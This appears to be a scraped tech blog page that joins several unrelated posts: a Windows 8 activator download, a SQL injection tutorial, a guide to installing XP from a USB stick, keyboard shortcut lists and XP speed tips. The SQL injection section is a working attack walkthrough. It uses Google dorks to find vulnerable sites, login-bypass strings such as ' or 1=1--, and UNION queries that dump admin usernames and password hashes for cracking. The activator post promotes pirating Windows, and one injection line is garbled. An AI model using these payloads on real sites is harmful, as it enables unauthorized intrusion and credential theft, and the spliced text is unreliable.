Windows 8 Activator Final

Hi after alon time i am back again guys with Windows 8 Activator for you with all new features within it and its a updates one and its cool now you can unlock maximum things with this and after activating with this you can unlock Personalization,,Start screen,,Account Picture and many more and this is a updated activator and its cool with its feature and i hope you like it.

Windows 8 New Features: 

Language & standard support

Windows store

Shell & user Interface

File Explorer

Task Manager

User Login

Microsoft Account Integration

Multi-monitor Support

Shorter boot times

USB 3.0

Video sub System

Windows 2 go

Hyper-V

Family Safety

ARM Architecture

Boot Security

File History

Refresh & Reset

Virtual Hardisk Format 

Storage Spaces 

NOTE: Please uninstall the Previous Activator & then Run it.

Download from Exabit

Enjoy this stuff..!! Have a nice Day.

We hope you are stastified with our blog & if there is any problem please fell free to ask..!

Basic SQL Injection Tutorial

What is SQL injection?
SQL injection is used to exploit and extract data from website.Using SQL injection attacker can extract data like Admin login information,credit cards details,emails,phone no,address,name etc.
SQL - Structured Query Language
SQL is a programming language use to communicate and manage database.
If this doesn't satisfy your curiosity then here's a link to Wikipedia.

let's start a real stuff...!!

Finding Vulnerable Website Using Dorks
Dorks list -- by SideSwipe.
Just copy one Dork for eg- inurl:index.php?id= and Google it.


Gaining Access to Administrator Account Using Quries
inurl:admin.php Search it using Google.Choose any of the Dork Listed in the search Result by Google.
' or 'x'='x use this in admin and password boxes.
Username:' or 'x'='x
Password:' or 'x'='x 

you can also try following queries:
') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

Normal/UNION Based SQL Injection 

Checking Vulnerability

Target: 

http://www.targetsite.com/pages.php?id=2 

Add ' (apostrophe) at the end of link 

http://www.targetsite.com/pages.php?id=2'  

following error will occur:

You have an error in your SQL syntax;check the manual corresponds to your MySQL server version  for the right syntax to use near '\" at line 1

If website loaded as it is without error or unharmed then website is not vulnerable to SQL injection.If it gives error we can move further otherwise you can select another website.

Finding Number Of Columns

http://www.targetsite.com/pages.php?id=2+order+by+1--  NO ERROR
http://www.targetsite.com/pages.php?id=2+order+by+2--  NO ERROR
http://www.targetsite.com/pages.php?id=2+order+by+3--  NO ERROR
http://www.targetsite.com/pages.php?id=2+order+by+4--  NO ERROR
http://www./pages.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--  .com/pages.php?id=2+order+by+5--  NO ERROR  

Keep increasing number till we get an error.
Don't forget to add --(two hypen) at the end of link. 

http://www.targetsite.com/pages.php?id=2+order+by+15--  ERROR 

finally we got error at order+by+15--. It means that our website contain 14 columns.

Determining Vulnerable Columns

http://www.targetsite.com/pages.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--   

OR

http://www.targetsite.com/pages.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--  

Don't forget to add - (hyphen) after id= . If you are using id=null+union+select.. then there is no need to add -(hyphen) after id= 

It will display vulnerable columns.It displays column number 4 is vulnerable.
we will use vulnerable column to extract data from website.

Determining Mysql Version

It is easy to find Mysql version.Replace vulnerable column with

@@version 

OR

version() 

we got column number 4 vulnerable so we will replace column number 4 with @@version.

http://www.targetsite.com/pages.php?id=-2+union+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14-- 

We got mysql version

5.1.61-community-log

If you got mysql version less than 5 then you have to use error based SQL injection.I am not going to explain error based SQL injection.so leave that website and choose another.let's move further..

Finding Database

http://www.targetsite.com/pages.php?id=-2+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14+from+inf ​ormation_schema.schemata-- 

information_schema contains metadata.Metadata is data about other data such as tables and columns.
information_schema.schemata contains name of all databases.
we got names of database information_schema,site_target

Finding Tables

http://www.targetsite.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14+
from+information_schema.tables+where+table_schema=database()--  

This will display tables. 
 It is not in proper manner.we need to bring them in proper manner so we can observe them clearly.
just add 0x0a after table_name
0x0a means new line.

http://www.targetsite.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name,0x0a),5,6,7,8,9,10,11,12,13,14+
from+information_schema.tables+where+table_schema=database()-- 
Don't forget to add , between 0x0a and table_name

we got following tables:  
tblgroup
,tblimages
,tblmaincategory
,tbloption
,tbloptionname
,tblorderdetails
,tblorders
,tblpage
,tblpagename
,tblpics
,tblproducts
,tblrelated
,tblsitemap
,tblstate
,tblsubcategory
,tbltemp
,tbltempoption
,tbltempoptionname
,tbltemppics
,tblusers
our goal is to get admin username and password.so we are going to extract columns from tblusers.
 Finding Columns
www.targetsite.com/pages.php?id=-2+union+select+1,2,3,group_concat(column_name,0x0a),5,6,7,8,9,10,11,12,13,14+
from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114​,115)-- 
we need to convert our table name into ASCII value.
String - ASCII, HEX, Binary Converter
we got columns from tblusers.

UserId,UserName,UserPwd  
 Extracting Data From Columns
http://www.targetsite.com/pages.php?id=-2+union+select+1,2,3,group_concat(UserId,0x3a,UserName,0x3a,UserPwd,0x0a),5,6,7,8,9,10,11,12,13,14+from+tblusers--  10,11,12,13,14+from+tblusers-- 
here 0x3a separates UserId,UserName,UserPwd from each other.0x3a is converted into : (colon).

3:samplehash:1b4ea4c5cc5181229340c1c188baad6f
,4:samplehash:27b811b22de87faa7925ae3c2a0337fe
,19:samplehash:416947dc3ddd5871659ee142273ffa95
:0,20:samplehash:043d9d7cd5afa18257b77164bc91205e
Finally we got usernames and passwords.
password are not in plain text they are in encrypted form.we need to decrypt them.

Admin Login Page:
http://www.targetsite.com/admin/index.php

Cracking Hashes
·  http://www.md5decrypter.co.uk
·  http://www.md5crack.com/

Finding Admin Login Page
Online Admin login panel finder
Perl Script
Requirements:
Download ActivePerl and install
Admins.pl
open CMD and navigate to admins.pl or simply double click on admins.pl file.
now enter name of your targeted site and press enter
eg:http://www.targetsite.com
type coding language of your website such as php,asp.If you don't know coding language then type any and press enter It will begin scanning for Admin Control Panel.
 
    Thank you for reading tutorial.
Please post comments and let me know how was tutorial. This TUT is the result of my friends hardwork & credits goes to Mst. Suved

MARATHI KAVITA

                    

MAKE UR PENDRIVE BOOTABLE !! AND INSTALL XP !!

1. May be their CD drive isn’t working properly like mine, or

2. They don’t want to waste money on a CD

More over installation from a flash drive is faster compared to a CD.
Before we go on with the tutorial here’s what you’ll need

1. 1 USB flash drive, 1GB or larger

2. 1 Windows XP installation disc

3. Assorted files that I’ll describe as we go along.

4. Note: Your BIOS should support usb boot, some older computers may not support USB boot.


Preparing the flash drive
First up, we need to prepare the flash drive.

1. Download and unzip this file, which should contain 2 folders: 1 titled Bootsect, and the other USB_prep8.

2. Navigate to the USB_prep8 folder and click on usb_prep8.cmd. This will bring up a Windows console window.

3. Press any key to continue and a PeToUSB window will open.

Make sure your flash drive is selected, and click start to format your flash drive.
When the format is complete, click OK, but do not close the PeToUSB window or the Windows Console.
Open a new console window by typing “cmd” into the run box in the Windows Start Menu.

opening Command Prompt

opening Command Prompt
Find your Bootsect folder (if you’re not used to DOS commands, you can type “dir” to list directories and files, type “cd foldername” to navigate to a folder name – called foldername in this example, and if there’s a long folder name you can save time by typing the “cd” and just the first few letters and then hitting the Tab key to fill in the rest of the name).
Changing directory on a command prompt

Changing directory on a command prompt
Once you’re in the Bootsect folder, type “bootsect.exe /nt52 g:” if “g” is the letter assigned to your flash drive. If it’s E, then change the letter to e. If it’s Z, make it z. Get it?
When this is done, you should see a message letting you know that the bootcode was updated, and you can close this console window (but not the other console window).
Close the PeToUSb Window, but make sure not to close the remaining console window yet
You should now see a list of 8 options in the console.

Select one and find the drive with your Windows installation disc.

13. Select 2 and pick a random drive letter (but not one that’s already on your PC, since this will be a virtual drive used for copying your files).

14. Select 3 and enter the drive letter for your USB flash drive.

15. Select 4 and follow the rest of the on-screen directions and you should be all set.

The process should take about 15-20 minutes. When it’s done, you should have a bootable USB stick that you can use to install Windows XP the same way you would if you had a CD/DVD drive.
A few notes here. First of all, there’s a chance you may get down to step 15 and the program will tell you that it can’t create the virtual drive. This may happen if you’ve already gone through the whole process and are trying to do it again to fix problems. The solution seems to be rebooting your computer and trying again. Or at least that’s what worked for me.
Second, if you use NLite to shrink/slipstream/otherwise modify your Windows XP installation file, make sure you do not remove “manual installation files,” or your USB stick will be pretty much useless.

Once your usb drive is ready, go to your bios and set USB to first position in boot order. Now plug the usb and restart.

Make sure you back up your important documents and files, firefox bookmarks, and drivers if you lost your drivers cd.

#VERIFIED

ENJOY BOOTING FROM PENDRIVE ...!!! GUYS...

"BEST KEYBOARD SHORTCUTS"

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:

cmd = Command Prompt

iexplore + "web address" = Internet Explorer

compmgmt.msc = Computer Management

dhcpmgmt.msc = DHCP Management

dnsmgmt.msc = DNS Management

services.msc = Services

eventvwr = Event Viewer

dsa.msc = Active Directory Users and Computers

dssite.msc = Active Directory Sites and Services

Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.

Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box

acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.

Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager

msinfo32 = System Information

cleanmgr = Disk Cleanup

ntbackup = Backup or Restore Wizard (Windows Backup Utility)

mmc = Microsoft Management Console

excel = Microsoft Excel (If Installed)

msaccess = Microsoft Access (If Installed)

powerpnt = Microsoft PowerPoint (If Installed)

winword = Microsoft Word (If Installed)

frontpg = Microsoft FrontPage (If Installed)

notepad = Notepad

wordpad = WordPad

calc = Calculator

msmsgs = Windows Messenger

mspaint = Microsoft Paint

wmplayer = Windows Media Player

rstrui = System Restore

netscp6 = Netscape 6.x

netscp = Netscape 7.x

netscape = Netscape 4.x

waol = America Online

control = Opens the Control Panel

control printers = Opens the Printers Dialog

internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]

add www. and .com to word and go to it

For Windows XP:

Copy. CTRL+C

Cut. CTRL+X

Paste. CTRL+V

Undo. CTRL+Z

Delete. DELETE

Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE

Copy selected item. CTRL while dragging an item

Create shortcut to selected item. CTRL+SHIFT while dragging an item

Rename selected item. F2

Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW

Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW

Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW

Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW

Highlight a block of text. CTRL+SHIFT with any of the arrow keys

Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys

Select all. CTRL+A

Search for a file or folder. F3

View properties for the selected item. ALT+ENTER

Close the active item, or quit the active program. ALT+F4

Opens the shortcut menu for the active window. ALT+SPACEBAR

Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4

Switch between open items. ALT+TAB

Cycle through items in the order they were opened. ALT+ESC

Cycle through screen elements in a window or on the desktop. F6

Display the Address bar list in My Computer or Windows Explorer. F4

Display the shortcut menu for the selected item. SHIFT+F10

Display the System menu for the active window. ALT+SPACEBAR

Display the Start menu. CTRL+ESC

Display the corresponding menu. ALT+Underlined letter in a menu name

Carry out the corresponding command. Underlined letter in a command name on an open menu

Activate the menu bar in the active program. F10

Open the next menu to the right, or open a submenu. RIGHT ARROW

Open the next menu to the left, or close a submenu. LEFT ARROW

Refresh the active window. F5

View the folder one level up in My Computer or Windows Explorer. BACKSPACE

Cancel the current task. ESC

SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press

Move forward through tabs. CTRL+TAB

Move backward through tabs. CTRL+SHIFT+TAB

Move forward through options. TAB

Move backward through options. SHIFT+TAB

Carry out the corresponding command or select the corresponding option. ALT+Underlined letter

Carry out the command for the active option or button. ENTER

Select or clear the check box if the active option is a check box. SPACEBAR

Select a button if the active option is a group of option buttons. Arrow keys

Display Help. F1

Display the items in the active list. F4

Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:

Display or hide the Start menu. WIN Key

Display the System Properties dialog box. WIN Key+BREAK

Show the desktop. WIN Key+D

Minimize all windows. WIN Key+M

Restores minimized windows. WIN Key+Shift+M

Open My Computer. WIN Key+E

Search for a file or folder. WIN Key+F

Search for computers. CTRL+WIN Key+F

Display Windows Help. WIN Key+F1

Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L

Open the Run dialog box. WIN Key+R

Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds

Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN

Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK

Switch StickyKeys on and off. SHIFT five times

Switch ToggleKeys on and off. NUM LOCK for five seconds

Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:

Display the bottom of the active window. END

Display the top of the active window. HOME

Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)

Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)

Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)

Collapse current selection if it's expanded, or select parent folder. LEFT ARROW

Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

23 Ways to Speed up your WINxp

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.

Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.